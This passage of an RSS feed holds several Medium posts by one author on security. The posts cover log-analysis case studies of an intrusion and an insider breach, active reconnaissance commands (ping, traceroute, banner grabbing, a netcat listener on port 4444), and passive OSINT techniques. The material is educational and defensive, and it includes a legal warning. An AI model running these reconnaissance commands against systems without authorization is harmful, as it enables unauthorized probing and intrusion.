src="https://cdn-images-1.medium.com/max/760/1*IOi46hRSpo2-_QxN4aaQpA.png" /><figcaption>pattern</figcaption></figure><blockquote>Case Study: Enterprise Intrusion &amp; Incident Timeline</blockquote><h3>Incident Summary</h3><p>A security analysis of perimeter logs at Initech Corp revealed a multi-stage cyber intrusion. An external adversary moved from initial reconnaissance to credential compromise, internal exploitation, C2 persistence, and data exfiltration.</p><h3>Incident Timeline &amp; Log Breakdown</h3><pre>[Phase 1: Scanning] ---&gt; [Phase 2: Initial Access] ---&gt; [Phase 3: Lateral Movement] ---&gt; [Phase 4: C2 &amp; Exfiltration]<br> External IP Scanning     VPN Auth Brute-Force        SMB Exploitation (p.445)       Regular HTTP/POST Uploads<br> (203.0.113.45)           (Targeting &#39;random_name&#39;)    (Assigned IP 10.8.0.23)        (Workstation 10.0.0.60)</pre><h4>Phase 1: External Reconnaissance &amp; Port Scanning</h4><ul><li>Observed Activity: External IP 203.0.113.45 attempted connections across multiple high-risk ports (21, 22, 23, 445).</li><li>Target System: Financial Server 10.0.0.20 (FINANCE-SRV1).</li><li>Log Findings: Firewall blocked over 270 unauthorized probing attempts.</li><li>CLI Analysis Command:</li></ul><p>cat firewall.log | grep &quot;BLOCK&quot; | cut -d&#39; &#39; -f5 | cut -d: -f1 | sort | uniq -c | sort -nr<em>(Identifies the top external source IP responsible for dropped firewall connections)</em>.</p><h4>Phase 2: Credential Access via VPN Gateway</h4><ul><li><strong>Observed Activity: </strong>The adversary pivoted to brute-forcing the remote access gateway (10.0.0.50).</li><li><strong>Target Account: </strong>random_name.</li><li><strong>Outcome: </strong>Following repeated FAIL_AUTH events, a successful authentication was logged.</li><li><strong>Compromise Indicator: </strong>The attacker was assigned an internal VPN IP address (10.8.0.23).</li><li><strong>CLI Analysis Command:</strong></li></ul><p>cat vpn_auth.log | grep &quot;FAIL&quot; | cut -d&#39; &#39; -f3 | sort -nr | uniq -c<em>(Isolates IPs performing brute-force authentication attacks against the VPN)</em>.</p><h4>Phase 3: Internal Lateral Movement</h4><ul><li><strong>Observed Activity:</strong> Operating from internal IP 10.8.0.23, the attacker scanned neighboring subnets for exploitable services.</li><li><strong>Vector: </strong>Exploited vulnerable Server Message Block (SMB) protocols over port 445.</li><li><strong>Affected Assets:</strong> Application Server 10.0.0.51 and Workstation 10.0.0.60.</li><li><strong>Log Findings: </strong>IDS alerts triggered signature ET EXPLOIT Possible MS-SMB Lateral Movement.</li><li><strong>CLI Analysis Command:</strong></li></ul><p>cat ids_alerts.log | grep &quot;10.8.0.23&quot; | grep &quot;SMB&quot; | cut -d&#39; &#39; -f6,7,8,9,10,19,21<em>(Extracts specific lateral movement exploit alerts associated with the compromised VPN lease)</em>.</p><h4>Phase 4: Persistence (C2) &amp; Data Exfiltration</h4><ul><li><strong>Observed Activity: </strong>Compromised internal Workstation 10.0.0.60 established persistent command-and-control communication with an external server on port 4444.</li><li><strong>Exfiltration Vector:</strong> Outbound HTTP POST requests transferred large data payloads off-site via web ports 80 and 8080.</li><li><strong>CLI Analysis Command:</strong></li></ul><p>cat ids_alerts.log | grep &quot;10.0.0.60&quot; | grep -E &quot;C2 Beaconing|Large Upload&quot;<em>(Correlates automated host beaconing with suspicious outbound data transfer alerts)</em>.</p><h3>Key Takeaways for SOC Analysts</h3><h4>Correlate Across Datasets:</h4><ul><li>Individual events (such as a single successful VPN login) appear normal in isolation. Cross-referencing firewall blocks, authentication failures, and internal IDS alerts reveals the true attack scope.</li></ul><h4>Identify Behavioral Anomalies:</h4><ul><li>High failure-to-success ratios indicate credential brute-forcing.</li><li>Internal-to-internal SMB traffic originating from remote VPN client leases signals lateral movement.</li><li>Periodic outbound sessions indicate C2 beaconing.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=19e26f45156e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Guide to Log Analysis]]></title>
            <link>https://mahidulhq.medium.com/guide-to-log-analysis-0e9c40e07882?source=rss-a239d211d2ec------2</link>
            <guid isPermaLink="false">https://medium.com/p/0e9c40e07882</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[networking]]></category>
            <category><![CDATA[log-analysis]]></category>
            <category><![CDATA[learning]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <dc:creator><![CDATA[Mahidul Haque]]></dc:creator>
            <pubDate>Sat, 05 Sep 2026 17:32:49 GMT</pubDate>
            <atom:updated>2026-09-05T17:32:49.476Z</atom:updated>
            <content:encoded><![CDATA[<p>System activity and security events leave digital records known as logs. Log analysis allows security teams to identify network breaches, track malicious actions, and reconstruct the complete sequence of an incident.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OO-qaW7hp1XIob4vjJm3vg.png" /><figcaption>cvr</figcaption></figure><p><strong>Key Information Contained in Log Entries:</strong> A standard log entry contains several foundational attributes:</p><ul><li><strong>Timestamp</strong>: Exact date and time the event occurred.</li><li><strong>Source/Identifier</strong>: System name, application, or service generating the record.</li><li><strong>Event Details</strong>: Type of action (e.g., login attempt, file access, error) along with associated context like user IDs or IP addresses.</li></ul><p><strong>Common Log Types:</strong> Different log sources offer visibility into specific system operations:</p><ul><li><strong>System &amp; Server Logs</strong>: Record kernel events, boot processes, hardware status, and overall server performance.</li><li><strong>Security &amp; Audit Logs</strong>: Capture authentication attempts, permission changes, firewall alerts, and compliance activities.</li><li><strong>Application &amp; Web Server Logs</strong>: Document web traffic, API requests, URLs, HTTP status codes, and application errors.</li><li><strong>Network &amp; Database Logs</strong>: Track connections, traffic movement, database queries, and data updates.</li></ul><p><strong>Log Data Formats:</strong> Logs are typically structured in one of three ways:</p><ul><li><strong>Structured</strong>: Strict, machine-readable formats ideal for automated parsing (e.g., JSON, CSV, TSV, XML, W3C Extended Log Format).</li><li><strong>Semi-Structured</strong>: A mix of standardized parameters and free-form text (e.g., Syslog, Windows Event Log / EVTX).</li><li><strong>Unstructured</strong>: Free-form text fields that require custom parsing rules (e.g., NCSA Common Log Format, NCSA Combined Log Format).</li></ul><p><strong>Industry Log Standards:</strong> Standard guidelines dictate how logs should be created, stored, and secured:</p><ul><li><a href="https://cee.mitre.org/">MITRE CEE (Common Event Expression)</a>: Standardizes log structure for cross-platform analysis.</li><li><a href="https://cheatsheetseries.owasp.org/cheatsheets/Logging_Cheat_Sheet.html">OWASP Logging Cheat Sheet</a>: Guidelines for developers on implementing security-focused logging.</li><li><a href="https://csrc.nist.gov/publications/detail/sp/800-92/final">NIST SP 800–92</a>: Comprehensive guidelines for computer security log management.</li><li>Cloud-native logging documentation: <a href="https://cloud.google.com/logging/docs">Google Cloud Logging Guidelines</a> and <a href="https://learn.microsoft.com/en-us/azure/azure-monitor/logs/data-platform-logs">Azure Monitor Logs</a>.</li></ul><h4><strong>Log Lifecycle Management</strong></h4><p><strong>1. Time Synchronization:</strong> Accurate logs depend on precise timing. Systems must use Network Time Protocol (NTP) to align clocks across all devices so event sequences line up correctly.</p><pre># Sync system time using NTP on Linux<br>sudo ntpdate pool.ntp.org</pre><p><strong>2. Centralization &amp; Storage Tiers:</strong> Logs should be forwarded to central platforms like Splunk or the Elastic Stack (ELK). Storage is divided into three tiers to manage capacity and cost:</p><ul><li><strong>Hot Storage</strong>: Immediate access for active data (recent 3–6 months).</li><li><strong>Warm Storage</strong>: Moderately fast retrieval for operational queries (6–24 months).</li><li><strong>Cold Storage</strong>: Compressed archive for compliance and long-term investigation (2–5+ years).</li></ul><p><strong>3. Automated Log Rotation (</strong><strong>logrotate)</strong> To prevent disk storage exhaustion, log management utilities automatically rotate, compress, and hash log files.</p><p>Configuration file example (/etc/logrotate.d/websrv-sshd.conf):</p><pre>/var/log/websrv-02/rsyslog_sshd.log {<br>    daily<br>    rotate 30<br>    compress<br>    lastaction<br>        DATE=$(date +&quot;%Y-%m-%d&quot;)<br>        echo &quot;$(date)&quot; &gt;&gt; &quot;/var/log/websrv-02/hashes_${DATE}_sshd.txt&quot;<br>        for i in $(seq 1 30); do<br>            FILE=&quot;/var/log/websrv-02/rsyslog_sshd.log.$i.gz&quot;<br>            if [ -f &quot;$FILE&quot; ]; then<br>                HASH=$(/usr/bin/sha256sum &quot;$FILE&quot; | awk &#39;{print $1}&#39;)<br>                echo &quot;rsyslog_sshd.log.$i.gz $HASH&quot; &gt;&gt; &quot;/var/log/websrv-02/hashes_${DATE}_sshd.txt&quot;<br>            fi<br>        done<br>        systemctl restart rsyslog<br>    endscript<br>}</pre><h4><strong>The Log Analysis Process</strong></h4><p>Log analysis moves through eight clear stages:</p><ol><li><strong>Parsing</strong>: Extracting key elements (IPs, dates, status codes) from raw text.</li><li><strong>Normalization</strong>: Converting logs from different tools into a single standard layout.</li><li><strong>Sorting</strong>: Ordering events by time or severity.</li><li><strong>Classification</strong>: Labeling entries by event type, source, or priority.</li><li><strong>Enrichment</strong>: Adding external context (such as threat intelligence or IP geographic locations).</li><li><strong>Correlation</strong>: Linking related actions across different devices to uncover attack chains.</li><li><strong>Visualization</strong>: Graphing data using dashboards to spot anomalies faster.</li><li><strong>Reporting</strong>: Summarizing findings for leadership, technical teams, or regulatory compliance.</li></ol><h4><strong>Log Processing Command Line Cheat Sheet</strong></h4><p>When SIEM systems are unavailable, native Linux utilities process and consolidate log files directly:</p><pre># Extract and normalize timestamps from access logs into a consolidated file<br>awk -F&#39;[][]&#39; &#39;{print &quot;[&quot;$2&quot;]&quot;, &quot;/var/log/gitlab/nginx/access.log ---&quot;, &quot;\&quot;&quot;$0&quot;\&quot;&quot;}&#39; /var/log/gitlab/nginx/access.log &gt; /tmp/parsed_consolidated.log<br><br># Search for specific malicious activity or IP addresses<br>grep &quot;34.253.159.159&quot; /tmp/parsed_consolidated.log &gt; /tmp/filtered_consolidated.log<br><br># Sort logs chronologically and remove duplicate entries<br>sort /tmp/parsed_consolidated.log &gt; /tmp/sorted.log<br>uniq /tmp/sorted.log /tmp/final_consolidated.log<br><br># Verify log file integrity using cryptographic hashing<br>sha256sum /tmp/final_consolidated.log</pre><h3><strong>CS: Detecting and Responding to an Insider Breach</strong></h3><p><strong>Target Environment</strong>: Financial services organization (SwiftSpend Financial) operating an internal GitLab source-code repository and web infrastructure.</p><h4>Phase 1: Incident Trigger &amp; Initial Discovery</h4><p>A security analyst reviewing automated daily reports notices an unusual spike in outbound data traffic originating from an internal developer host (10.10.133.168) late at night. The host accessed the internal code repository gitlab.swiftspend.finance outside of business hours.</p><h4>Phase 2: Log Collection &amp; Centralization</h4><p>Because the organization centralizes system events via rsyslog and maintains time synchronization across all servers using Network Time Protocol (NTP), logs from the web proxy, operating systems, and applications are aligned across a single timeline.</p><p>The incident response team extracts raw logs from multiple sources to analyze the activity:</p><ul><li><strong>Network &amp; Web Proxy Logs</strong>: Track inbound/outbound IP addresses and connection requests.</li><li><strong>Web Server Logs (Nginx / NCSA Combined Format)</strong>: Capture user HTTP requests, endpoints visited, and client User-Agent strings.</li><li><strong>Application Logs (GitLab Rails API)</strong>: Document user account actions, API token usage, and project accesses.</li><li><strong>System Logs (</strong><strong>/var/log/syslog &amp; </strong><strong>sshd)</strong>: Record local user authentication attempts and elevated privileges.</li></ul><p>To ensure the evidence remains legally admissible, the analyst generates a SHA-256 cryptographic hash of the raw log files immediately upon collection.</p><h4>Phase 3: Applying the 8-Stage Log Processing Pipeline</h4><p>To transform millions of unorganized, raw lines of text into actionable insights, the analyst processes the data through the core log analysis pipeline:</p><pre>┌─────────────┐    ┌───────────────┐    ┌────────────┐    ┌────────────────┐<br>│ 1. Parsing  │───&gt;│ 2. Normalizing│───&gt;│ 3. Sorting │───&gt;│ 4. Classifying │<br>└─────────────┘    └───────────────┘    └────────────┘    └────────────────┘<br>                                                                   │<br>┌─────────────┐    ┌───────────────┐    ┌────────────┐             │<br>│ 8. Reporting│&lt;───│ 7. Visualizing│&lt;───│ 6. Correlate│&lt;───────────┘<br>└─────────────┘    └───────────────┘    └────────────┘    5. Enriching</pre><ol><li><strong>Parsing</strong>: Breaking raw log entries into individual data fields.</li></ol><ul><li><em>Raw Nginx Entry</em>: 34.253.159.159 adversary [08/Sep/2023:22:10:00 +0000] &quot;GET /gitlab-instance-2fdab3a4/pat-api-key HTTP/1.1&quot; 200 4886</li><li><em>Parsed Attributes</em>: Client IP: 34.253.159.159, User: adversary, Timestamp: 08/Sep/2023:22:10:00, URI: /gitlab-instance-2fdab3a4/pat-api-key, Status Code: 200.</li></ul><p><strong>2. Normalization</strong>: Standardizing varying timestamp formats across sources (converting local Syslog dates and W3C web dates into a unified ISO standard format).</p><p><strong>3. Sorting</strong>: Ordering all entries chronologically across the Nginx, GitLab API, and Syslog datasets to build a clear, step-by-step timeline of events.</p><p><strong>4. Classification</strong>: Categorizing log entries by event type and priority level:</p><ul><li>HTTP GET requests to public pages \rightarrow <em>Low Severity / Informational</em>.</li><li>Unauthenticated API calls accessing credential repositories \rightarrow <em>High Severity / Security Event</em>.</li></ul><p><strong>5. Enrichment</strong>: Adding contextual data to raw identifiers.</p><ul><li>The client IP 34.253.159.159 is flagged by threat intelligence tools as an external VPN endpoint.</li><li>Device fingerprinting maps the internal host 10.10.133.168 to an Ubuntu endpoint running a specific browser (Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0).</li></ul><p><strong>6. Correlation</strong>: Connecting separate events from different log files to identify the attack path:</p><ul><li><em>Link 1</em>: User adversary authenticated from IP 34.253.159.159 at 22:10.</li><li><em>Link 2</em>: The user queried a repository named pat-api-key and received an HTTP 200 success response containing an exposed API key.</li><li><em>Link 3</em>: Minutes later, the web proxy showed continuous requests from the same user session maintaining access via a web shell on gitlab.swiftspend.finance.</li></ul><p><strong>7. Visualization</strong>: Graphing request counts and bandwidth usage over time to highlight the traffic spike during off-hours.</p><p><strong>8. Reporting</strong>: Generating a summary report for management detailing the scope, timeline, compromised assets, and root cause.</p><h4>Phase 4: Reconstructing the Incident Timeline</h4><p>By processing the logs, the incident response team answers the core investigation questions:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/744/1*kcMV2lU7YwFu4sqju-rvzg.png" /><figcaption><strong>Findings from Log Analysis</strong></figcaption></figure><h4>Phase 5: Remediation &amp; Post-Incident Action Plan</h4><ol><li><strong>Immediate Isolation</strong>: Revoke the compromised API key, disconnect the host 10.10.133.168 from the network, and kill active web shell sessions on the web server.</li><li><strong>Log Maintenance</strong>: Configure logrotate to compress, rotate, and archive the investigation logs to cold storage for long-term retention and legal protection.</li><li><strong>Hardening</strong>: Implement automated secret-scanning tools in code repositories to prevent API keys from being committed in cleartext.</li></ol><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0e9c40e07882" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Active Reconnaissance Note]]></title>
            <link>https://mahidulhq.medium.com/active-reconnaissance-note-c2fa3ded009a?source=rss-a239d211d2ec------2</link>
            <guid isPermaLink="false">https://medium.com/p/c2fa3ded009a</guid>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[reconnaissance]]></category>
            <category><![CDATA[networking]]></category>
            <dc:creator><![CDATA[Mahidul Haque]]></dc:creator>
            <pubDate>Fri, 04 Sep 2026 05:27:50 GMT</pubDate>
            <atom:updated>2026-09-04T05:27:50.494Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Active Reconnaissance</strong> is the process of directly probing a target network or system to gather technical intelligence. Unlike passive reconnaissance, which relies on public sources without sending traffic to the target, active methods send packets, make connections, and query services directly.</p><p>Active probes leave traces in access logs, firewall rules, Intrusion Detection Systems (IDS), Web Application Firewalls (WAF), and SIEM logs.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9V4RXO1YI2nTKvIArbOKdg.jpeg" /><figcaption>cvr</figcaption></figure><blockquote><strong><em>Legal Requirement:</em></strong><em> Never perform active reconnaissance without explicit, signed authorization (such as a formal penetration testing contract or defined bug bounty scope). Unsanctioned probing is illegal.</em></blockquote><h3>1. Web Browsers &amp; Developer Tools</h3><p>A standard web browser is an effective active reconnaissance tool because its traffic naturally blends in with legitimate user activity.</p><h4>Transport Protocols &amp; Ports</h4><ul><li><strong>HTTP:</strong> TCP Port 80 (mostly automatically redirects to HTTPS)</li><li><strong>HTTPS:</strong> TCP Port 443 (standard for encrypted web traffic)</li><li><strong>HTTP/3:</strong> UDP Port 443 via QUIC (combines TCP and TLS functions for lower latency; marked as h3 in browser dev tools)</li><li><strong>Non-Standard Ports:</strong> Specified directly in the URL (e.g., [https://target.com:8443/](https://target.com:8443/))</li></ul><h4>Developer Tools Key Tabs</h4><p>Access via Ctrl + Shift + I (Windows/Linux) or Option + Command + I (macOS).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dteaPikn0nCVLXPJixmn7Q.png" /><figcaption>developer tools on browser aka inspect</figcaption></figure><ul><li><strong>Network:</strong> Shows real-time requests/responses, status codes, cookies, timing data, and headers (such as Server, X-Powered-By, and Content-Security-Policy).</li><li><strong>Console:</strong> Executes inline JavaScript, shows errors, and exposes DOM details.</li><li><strong>Sources:</strong> Allows inspection of loaded JS, CSS, and HTML files. JavaScript source code frequently leaks internal API endpoints, directory structures, developer comments, and hardcoded variables.</li><li><strong>Application / Storage:</strong> Displays cookies, Local Storage, and Session Storage contents, which may expose session tokens or API keys.</li><li><strong>Security:</strong> Displays TLS/SSL certificate details, including Subject Alternative Names (SANs) that can reveal related subdomains or domains owned by the organization.</li></ul><h4>Useful Browser Extensions</h4><ul><li><strong>FoxyProxy:</strong> Manages and switches proxy settings for routing traffic through tools like Burp Suite or OWASP ZAP.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CccsddkqoCPG0euP1IEjgg.png" /><figcaption><strong>FoxyProxy</strong></figcaption></figure><ul><li><strong>User-Agent Switcher:</strong> Changes the request User-Agent string to emulate different browsers, mobile devices, or OS footprints.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7MylaDXh6TxKvJqWu5vFog.png" /><figcaption><strong>User-Agent Switcher</strong></figcaption></figure><ul><li><strong>Wappalyzer / BuiltWith:</strong> Automatically identifies technologies used on a web application (CMS platforms, frameworks, server types, databases).</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*U-yzmbyz0eYXaBE8q1OJ2g.png" /><figcaption><strong>Wappalyzer</strong></figcaption></figure><h3>2. Network Host Discovery (Ping &amp; ICMP)</h3><p>ping uses the Internet Control Message Protocol (ICMP) to verify host reachability. It sends an ICMP Echo Request (Type 8) and waits for an ICMP Echo Reply (Type 0).</p><h4>Usage Examples</h4><pre># Send 5 ICMP echo requests on Linux/macOS<br>ping -c 5 192.168.1.1<br><br># Send 5 ICMP echo requests on Windows<br>ping -n 5 192.168.1.1<br><br># Force IPv4 or IPv6<br>ping -4 -c 5 192.168.1.1<br>ping -6 -c 5 2001:db8::1</pre><h4>OS Identification via TTL (Time To Live)</h4><p>Every packet starts with a default TTL set by the operating system. Each router along the path decrements this value by 1.</p><ul><li><strong>Linux / Unix default starting TTL:</strong> 64</li><li><strong>Windows default starting TTL:</strong> 128</li></ul><p><em>Example:</em> Receiving an ICMP reply with ttl=58 generally indicates a Linux host that is 6 router hops away ($64 - 6 = 58$).</p><h4>Interpreting Results</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/718/1*EMhEigffZR5bs53KAKovkQ.png" /><figcaption>result</figcaption></figure><h3>3. Network Path Analysis (Traceroute &amp; MTR)</h3><p>Traceroute identifies intermediate routers (hops) between the source and target by sending packets with incrementally increasing TTL values (starting at 1). When a packet’s TTL hits 0, the router drops it and returns an ICMP Time-to-Live Exceeded message to the sender.</p><h4>Usage Examples</h4><pre># Standard traceroute (Linux/macOS default: UDP)<br>traceroute 192.168.1.1<br><br># Windows equivalent (uses ICMP)<br>tracert 192.168.1.1<br><br># TCP mode (bypasses UDP filters)<br>traceroute -T 192.168.1.1<br><br># ICMP mode<br>traceroute -I 192.168.1.1<br><br># Real-time combined traceroute + ping statistics<br>mtr 192.168.1.1</pre><p><strong><em>Note:</em></strong> Asterisks (*) in traceroute output indicate that an intermediate router dropped the packet or chose to suppress ICMP responses. Dynamic routing, CDNs (e.g., Cloudflare, Akamai), and load balancers can cause consecutive traceroute runs to display different path results.</p><h3>4. Banner Grabbing &amp; Service Interrogation</h3><p>Banner grabbing is the practice of establishing a connection to an open port to read the initialization message (“banner”) sent by the service, which often discloses software titles and exact version numbers.</p><h4>Telnet (Legacy)</h4><p>Telnet connects over plain TCP (default Port 23) but sends all data unencrypted. While deprecated for management, it can manually connect to open TCP ports to query cleartext services.</p><pre># Connect to HTTP on port 80 using Telnet<br>telnet 192.168.1.1 80<br><br># Manual HTTP request (Type request and press Enter twice):<br>GET / HTTP/1.1<br>Host: target.local</pre><h4>Netcat (nc)</h4><p>Netcat is a versatile networking utility capable of reading from and writing to raw network connections over TCP or UDP.</p><pre># Banner grabbing via Netcat<br>nc 192.168.1.1 80<br>GET / HTTP/1.1<br>Host: target.local<br><br># Listen mode: Set up a TCP listener on port 4444<br>nc -lvnp 4444<br><br># IPv6 client connection<br>nc -6 2001:db8::1 80</pre><p><em>Netcat Listener Flags:</em></p><ul><li>-l Listen mode</li><li>-v Verbose output</li><li>-n Skip DNS resolution</li><li>-p Port number specification</li></ul><h4>Handling Encrypted Services (TLS/SSL)</h4><p>Telnet and standard Netcat cannot interpret encrypted protocols (such as HTTPS or SMTPS). Use tools designed for TLS channels to perform banner grabbing on encrypted ports:</p><pre># Fetch HTTP response headers over TLS using curl<br>curl -I https://192.168.1.1<br><br># Connect to an encrypted service via OpenSSL<br>openssl s_client -connect 192.168.1.1:443<br><br># Connect using Nmap&#39;s upgraded Netcat (ncat) with SSL support<br>ncat --ssl 192.168.1.1 443</pre><h3>Quick Command Reference</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/726/1*oy66qPmkp2E8P6JwWEhSnQ.png" /><figcaption>cmd reference</figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c2fa3ded009a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Passive Reconnaissance Note]]></title>
            <link>https://mahidulhq.medium.com/passive-reconnaissance-note-d7fc1b6df347?source=rss-a239d211d2ec------2</link>
            <guid isPermaLink="false">https://medium.com/p/d7fc1b6df347</guid>
            <category><![CDATA[osint]]></category>
            <category><![CDATA[cybersecurity-training]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[learning]]></category>
            <dc:creator><![CDATA[Mahidul Haque]]></dc:creator>
            <pubDate>Thu, 03 Sep 2026 20:40:19 GMT</pubDate>
            <atom:updated>2026-09-03T20:40:19.863Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Passive reconnaissance</strong> is the process of gathering intelligence about a target from publicly available sources without directly interacting with their systems. Think of it as observing a building from a distance using binoculars, rather than walking up and testing the door handles (which is <strong>active reconnaissance</strong>).</p><p>Because you do not send any direct traffic to the target, passive reconnaissance is virtually undetectable, carries low legal risk, and remains a crucial first step in security assessments, bug bounties, and threat hunting.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZRNQasTnljr-BoXBEKEhFw.jpeg" /><figcaption>cvr</figcaption></figure><h3>Passive vs. Active Reconnaissance</h3><ul><li><strong>Passive Reconnaissance:</strong> Relies entirely on public data. Examples include checking public DNS records, searching certificate logs, reading public job postings to guess a company’s technology stack, or using search engines designed for internet-connected devices.</li><li><strong>Active Reconnaissance:</strong> Involves direct engagement, such as sending pings to see if a computer is online, scanning for open ports, or socially engineering employees. This triggers security alerts and requires strict authorization.</li></ul><h3>Domain Registration Intelligence: WHOIS and RDAP</h3><p>Every website must be registered, and these registration records provide valuable background information on a target.</p><h3>The Shift from WHOIS to RDAP</h3><p>Historically, the <strong>WHOIS</strong> protocol provided domain registration details. However, privacy laws like GDPR have largely hidden personal registrant data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tzMLx6x6Nvb32ZO0GvE21A.png" /></figure><blockquote>As of January 2025, ICANN officially retired the traditional WHOIS protocol for standard domain names in favor of <strong>RDAP (Registration Data Access Protocol)</strong>. RDAP is more secure (uses HTTPS), returns easily readable, structured data (JSON), and offers better privacy controls.</blockquote><p>While legacy WHOIS lookups still function through failovers, RDAP is now the modern standard.</p><p><strong>What to look for in these records:</strong></p><ul><li><strong>Dates:</strong> Registration and expiration dates help estimate a company’s age or pinpoint when they might be vulnerable to renewal-based phishing attacks.</li><li><strong>Name Servers:</strong> Identifies which servers control the domain’s web traffic.</li><li><strong>Registrar:</strong> The company leasing the domain (e.g., Namecheap, GoDaddy).</li></ul><p><strong>Helpful Links:</strong></p><ul><li>Modern RDAP Lookup: <a href="https://lookup.icann.org/">lookup.icann.org</a></li><li>Legacy WHOIS: <a href="https://whois.icann.org/">whois.icann.org</a></li><li>Historical Data: <a href="https://www.whoxy.com/">whoxy.com</a> (useful for seeing past owners or previous infrastructure)</li></ul><p><strong>Command Line Snippets:</strong></p><p><em>Legacy WHOIS lookup:</em></p><pre>whois example.com</pre><p><em>Modern RDAP lookup (using </em><em>curl and </em><em>jq for readability):</em></p><pre>curl -s https://rdap.verisign.com/com/v1/domain/example.com | jq .</pre><h3>Querying Public DNS Records</h3><p>Domain Name System (DNS) acts like the internet’s phonebook, translating human-readable website names into IP addresses. Querying public DNS servers is fully passive.</p><p><strong>Common DNS Record Types:</strong></p><ul><li><strong>A:</strong> IPv4 address for the domain.</li><li><strong>AAAA:</strong> IPv6 address.</li><li><strong>CNAME:</strong> An alias that points one domain name to another.</li><li><strong>MX:</strong> Mail servers (shows who handles the organization’s email).</li><li><strong>TXT:</strong> Text records often used for domain verification and email security (SPF, DMARC).</li></ul><h3>Tools: dig vs nslookup</h3><p>While nslookup is older and commonly found on Windows systems, <strong>dig</strong> is the modern, preferred tool. dig provides cleaner output, shows how long records are cached (TTL), and is more reliable.</p><p>Here is detailed information about using <a href="https://mahidulhq.github.io/dig.html">Domain Information Groper</a>.</p><p><strong>Command Line Snippets:</strong></p><p><em>Check an IPv4 address (Legacy </em><em>nslookup):</em></p><pre>nslookup -type=A example.com</pre><p><em>Check Mail Servers (Modern </em><em>dig querying via Cloudflare&#39;s 1.1.1.1 public resolver for privacy):</em></p><pre>dig @1.1.1.1 example.com MX</pre><p><em>Check TXT records:</em></p><pre>dig example.com TXT</pre><h3>Passive Subdomain Discovery</h3><p>Standard DNS queries only find names you ask for directly. They won’t uncover hidden subdomains like dev.company.com or blog.company.com. Subdomains are high-value targets because they often host forgotten, outdated, or misconfigured services.</p><ol><li><strong>DNSDumpster:</strong></li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DLnUdrDITOac244yMhSWKg.png" /><figcaption><a href="https://dnsdumpster.com/">DNSDumpster</a></figcaption></figure><p><a href="https://dnsdumpster.com/">DNSDumpster</a> aggregates public DNS data from search engine caches and databases without sending any direct traffic to the target. It maps out subdomains, IPs, and mail servers visually.</p><p><strong>2. Certificate Transparency (CT) Logs:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*agRrLuQv-u5ymUwgSmWdMg.png" /><figcaption><a href="http://crt.sh/">crt.sh</a></figcaption></figure><p>The most effective passive method today is checking CT logs. Every issued SSL/TLS certificate is publicly logged. By searching these logs, you can find almost every secure subdomain tied to an organization.</p><ul><li><strong>Tool:</strong> <a href="http://crt.sh/">crt.sh</a></li><li><strong>How to use:</strong> Search for %.example.com (the % acts as a wildcard) to reveal all issued certificates and subdomains for that domain.</li></ul><h3>Exploring Exposed Services with Shodan</h3><p><a href="https://www.shodan.io/">Shodan </a>is a search engine for internet-connected devices (servers, webcams, routers, industrial systems). Unlike normal search engines that index website content, Shodan scans the internet to index the “banners” and responses of exposed ports and services.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KCzJWyURlgz82KhbgX3uTA.png" /><figcaption><a href="https://www.shodan.io/">Shodan</a></figcaption></figure><p>Using Shodan allows you to see what a target has exposed to the internet without ever scanning it yourself. Censys is another excellent alternative for cross-referencing this data.</p><p><strong>What you can find:</strong></p><ul><li>Network block owners and hosting providers (e.g., AWS, Cloudflare).</li><li>Approximate geographic locations of servers.</li><li>Open ports, service versions, and associated known vulnerabilities.</li></ul><p><strong>Shodan Search Filters:</strong></p><ul><li>hostname:example.com (Finds a specific hostname)</li><li>org:&quot;Company Name&quot; (Filters by the organization that owns the IP)</li><li>port:443 country:US (Filters by open ports and geographical location)</li><li>http.component:&quot;wordpress&quot; (Identifies specific technology stacks)</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d7fc1b6df347" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How Metasploit Works]]></title>
            <link>https://mahidulhq.medium.com/how-metasploit-works-f42938723f9f?source=rss-a239d211d2ec------2</link>
            <guid isPermaLink="false">https://medium.com/p/f42938723f9f</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[kali-linux]]></category>
            <category><![CDATA[tools]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Mahidul Haque]]></dc:creator>
            <pubDate>Wed, 02 Sep 2026 07:39:05 GMT</pubDate>
